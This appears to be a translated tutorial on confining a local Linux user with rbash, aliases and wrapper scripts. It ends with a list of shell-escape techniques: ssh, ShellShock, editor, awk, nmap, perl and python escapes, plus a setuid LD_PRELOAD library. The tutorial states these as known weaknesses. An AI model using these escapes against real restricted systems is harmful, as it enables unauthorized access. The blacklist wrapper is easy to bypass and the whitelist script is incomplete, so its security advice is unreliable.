
Once the following task appeared: to create a local user in the Linux operating system, with limited access to folders and files, including not only editing, but also viewing, as well as the ability to use only authorized utilities. Only local access is provided; there is no network access.
In order not to reinvent the wheel, first of all I began to dig the Internet, as a result of which the following options were found:
- access restrictions via ssh, sftp network services (did not work)
- differentiation of access rights by the linux operating system itself (it didn’t fit, I would like a universal solution)
- use chroot (did not fit)
- the use of third-party utilities, such as SELinux (did not fit, complicates the system).
As a result of the search, a built-in mechanism for restricting the user's capabilities inside the bash shell was found; it is called
Restricted Shell or rbash .
It has the following limitations:
- there is no possibility of changing the directory with the cd command
- cannot reset or change the values of the variables SHELL, PATH, ENV, BASH_ENV
- forbidden to specify commands containing / (slash)
- it is forbidden to import functions from the main shell
- It is forbidden to redirect output using the operators>, <, |, <>,> &, &>, >>
- It is forbidden to use the exec command to substitute the command, etc.
There is a minus, this is security, so it is imperative to add alias to commands in the .bashrc shell behavior file (information will be further).
Of course, rbash is out of the box, it does not solve all the tasks, so with an example we will consider creating a user and setting up his environment for the complete solution of our problem.
Further, all operations are performed from the superuser (root).
1. Create a limited shell
echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash
2. Create user
adduser --home /home/zuser --shell /bin/zbash zuser
3. Change directory rights
chown root.zuser /home/zuser chmod 750 /home/zuser
4. Go to the directory and clear it.
cd ~zuser ls -a rm .bash* rm .profile ls -a
5. Configure the shell and rights
echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc
The .bashrc file defines the behavior of the shell, alias for commands or additional
options can be added to this file.
To ensure security, issue the following commands:
echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc
This list can be continued ...
6. Check the work
root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls: команда не найдена zuser@host: /bin/ls bash: /bin/ls: ограниченный режим в команде нельзя использовать косую черту {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH: переменная только для чтения zuser@host: exit
7. Add valid commands
ln -s /bin/ping /home/zuser/bin/ping
Importantly, the paths in the ln command must be specified completely.
8. Wrappers can be used to limit the command options.
mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info
9. To work with files and folders, you can also create a wrapper.
with
black list (allow everything except):
- create file
nano /var/scripts/ls
- file contents
blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $*
blacklist - a variable containing a blacklist of directories or files (separated by a space)
- add command for user zuser
chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls
This script allows you to run the ls command with any keys for directories and files that do not match the black list.
with
white list (ban everything except):
- create file
nano /var/scripts/cat
- file contents
whitelist="./ /tmp/"
whitelist - a variable containing a white list of directories or files (separated by a space)
- add command for user zuser
chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat
This script allows you to execute the cat command with the specified files in the white list.
Done , in the end got the following result:
- we created user zuser with rbash shell
- disabled the ability to use autocompletion in the console
- zuser can only run utilities from the / home / zuser / bin directory
- added ping command to zuser
- added own user-info command to user zuser
- the zuser user has been limited to running the ls and cat commands through the wrapper
Unfortunately, this method does not guarantee 100% security, and with certain knowledge and qualifications, the user can leave this shell. Thank you
Jouretz arheops YaDr in the comments they gave examples of circumventing shell constraints.
The following vulnerabilities exist in this solution (Shell Escape), which must be taken into account:
PATH | The ability to change the variable PATH |
Copying files by scp | Ability to upload your script |
When connecting via ssh, you can change the shell | ssh zuser@xxxx -t "/bin/bash" |
When connecting via ssh, you can change the shell configuration file | ssh zuser@xxxx -t "bash --noprofile" |
When connecting via ssh, you can use ShellShock | ssh zuser@xxxx -t "() { :; }; /bin/bash" |
Through utilities vi, vim | :!bash |
Through utilities vi, vim | :set shell=/bin/bash :shell |
Through utilities man, more, less | !bash |
Through the find utility | find . -maxdepth 0 -execdir /bin/bash \; |
Through the awk utility | awk 'BEGIN {system("/bin/bash")}' |
Through the nmap utility | nmap --interactive |
Through the nmap utility | echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse |
Via perl | perl -e 'exec "/bin/bash";' |
Via python | python -c 'import pty; pty.spawn("/bin/bash")' |
Via ruby | ruby: exec "/bin/bash" |
Through LD_PRELOAD | Create an evil.c file:
#include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } Compile:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles We transfer the resulting evil.so file to the machine with the closed console and execute:
LD_PRELOAD=$PWD/evil.so ls As an argument, any available command |
Due to the presence of a sufficiently large number of vulnerabilities, this method can only be used for a local user on non-critical systems; it is better to use chroot or other utilization restrictions for users to access the network via ssh.
I hope this information will be useful.